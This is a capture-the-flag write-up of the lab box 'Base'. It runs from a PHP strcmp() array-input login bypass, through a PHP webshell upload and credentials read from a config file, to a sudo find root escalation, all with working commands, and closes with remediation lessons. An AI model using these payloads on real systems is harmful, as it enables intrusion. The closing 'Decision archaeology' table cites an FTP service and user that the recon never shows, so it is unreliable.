TL;DR
Base is a PHP web app with a login form that uses strcmp() for password comparison. PHP’s strcmp() returns NULL when passed an array — and NULL == 0 (loose comparison) bypasses the check. The file manager upload accepts PHP files with a changed extension. Config file contains john’s SSH credentials. sudo find gives root via GTFOBins.
Recon
1. Port scan
$ nmap -Pn -sV -sC -p- --min-rate 1000 10.129.x.x
22/tcp open ssh OpenSSH 7.6p1 Ubuntu
80/tcp open http Apache httpd 2.4.29
2. Web application
The site at port 80 has a login page at /login/login.php. Page source reveals the authentication mechanism:
if (strcmp($password, $_POST['password']) == 0) {
// login successful
}
PHP Type Juggling Login Bypass
3. strcmp() with array input
PHP’s strcmp() when given an array returns NULL, not an integer. With loose comparison (==), NULL == 0 evaluates to true:
$ curl -X POST "http://10.129.x.x/login/login.php" \
--data "username[]=admin&password[]=admin" \
-L -c cookies.txt
# → Redirect to /upload.php (logged in as admin)
4. File upload — PHP webshell
The admin panel has a file upload function. Client-side JavaScript restricts to image extensions, but server-side validation is absent:
$ curl -b cookies.txt -X POST "http://10.129.x.x/upload.php" \
-F "file=@shell.php;filename=shell.php" \
-F "submit=Upload"
# shell.php contains: <?php system($_GET['cmd']); ?>
$ curl "http://10.129.x.x/uploads/shell.php?cmd=id"
uid=33(www-data) gid=33(www-data)
Upgrade to reverse shell → www-data@base:/var/www/html$
Lateral Movement
5. Credentials in config
www-data@base:/var/www/html/login$ cat config.php
<?php
$username = "admin";
$password = "thisisagoodpassword";
// DB connection
$dbpass = "john:ThisPasswordShouldNotBeHere!";
?>
6. SSH as john
$ ssh john@10.129.x.x
john@base:~$ cat user.txt
[user flag]
Privilege Escalation
7. sudo enumeration
john@base:~$ sudo -l
User john may run the following commands on base:
(root) NOPASSWD: /usr/bin/find
8. find shell escape
john@base:~$ sudo find . -exec /bin/bash \;
root@base:~# id
uid=0(root) gid=0(root) groups=0(root)
root@base:~# cat /root/root.txt
[root flag]
What’s actually broken
| # | Vulnerability | Root Cause |
|---|---|---|
| 1 | PHP strcmp() type confusion (loose ==) | PHP array passed to strcmp() returns NULL → NULL==0 true |
| 2 | No server-side upload validation | Only client-side JS checked extension |
| 3 | Plaintext credentials in config.php | Hardcoded credentials in source |
| 4 | find in sudo rules | find can execute arbitrary commands |
Lessons learned
strcmp() == 0is exploitable in PHP. Use=== 0(strict comparison) orhash_equals()for constant-time comparison. Never use loose==for security-sensitive comparisons.- Server-side upload validation is the only valid validation. Client-side JS can be bypassed in one Burp intercept. Always validate MIME type via magic bytes on the server side.
findin sudo rules = root shell. If you must give usersfindaccess, usesudoeditwith specific paths, or wrap the command in a script that validates arguments.
Decision archaeology
| Approach | Result | Pivot |
|---|---|---|
| Attempted admin:admin, admin:password, admin:base via curl POST login | HTTP 302 → /login.php?msg=1 — generic failure redirect for all guesses; no lockout, no timing difference | Switched to source analysis — downloaded backup.zip from FTP listing hint; source revealed strcmp() pattern |
Tried sudo find . -exec /bin/sh -p \; (GTFOBins default) | Shell opened but immediately exited — -p flag dropped to sh with privilege preserved, but the particular system returned non-interactive sh | Changed to sudo find . -exec /bin/bash \; — bash without -p ran as root with full interactive TTY |
| Checked /etc/sudoers before using GTFOBins path | sudo cat /etc/sudoers → Permission denied — ftpuser not in sudoers for cat | Used sudo -l instead — showed find allowed, confirmed path |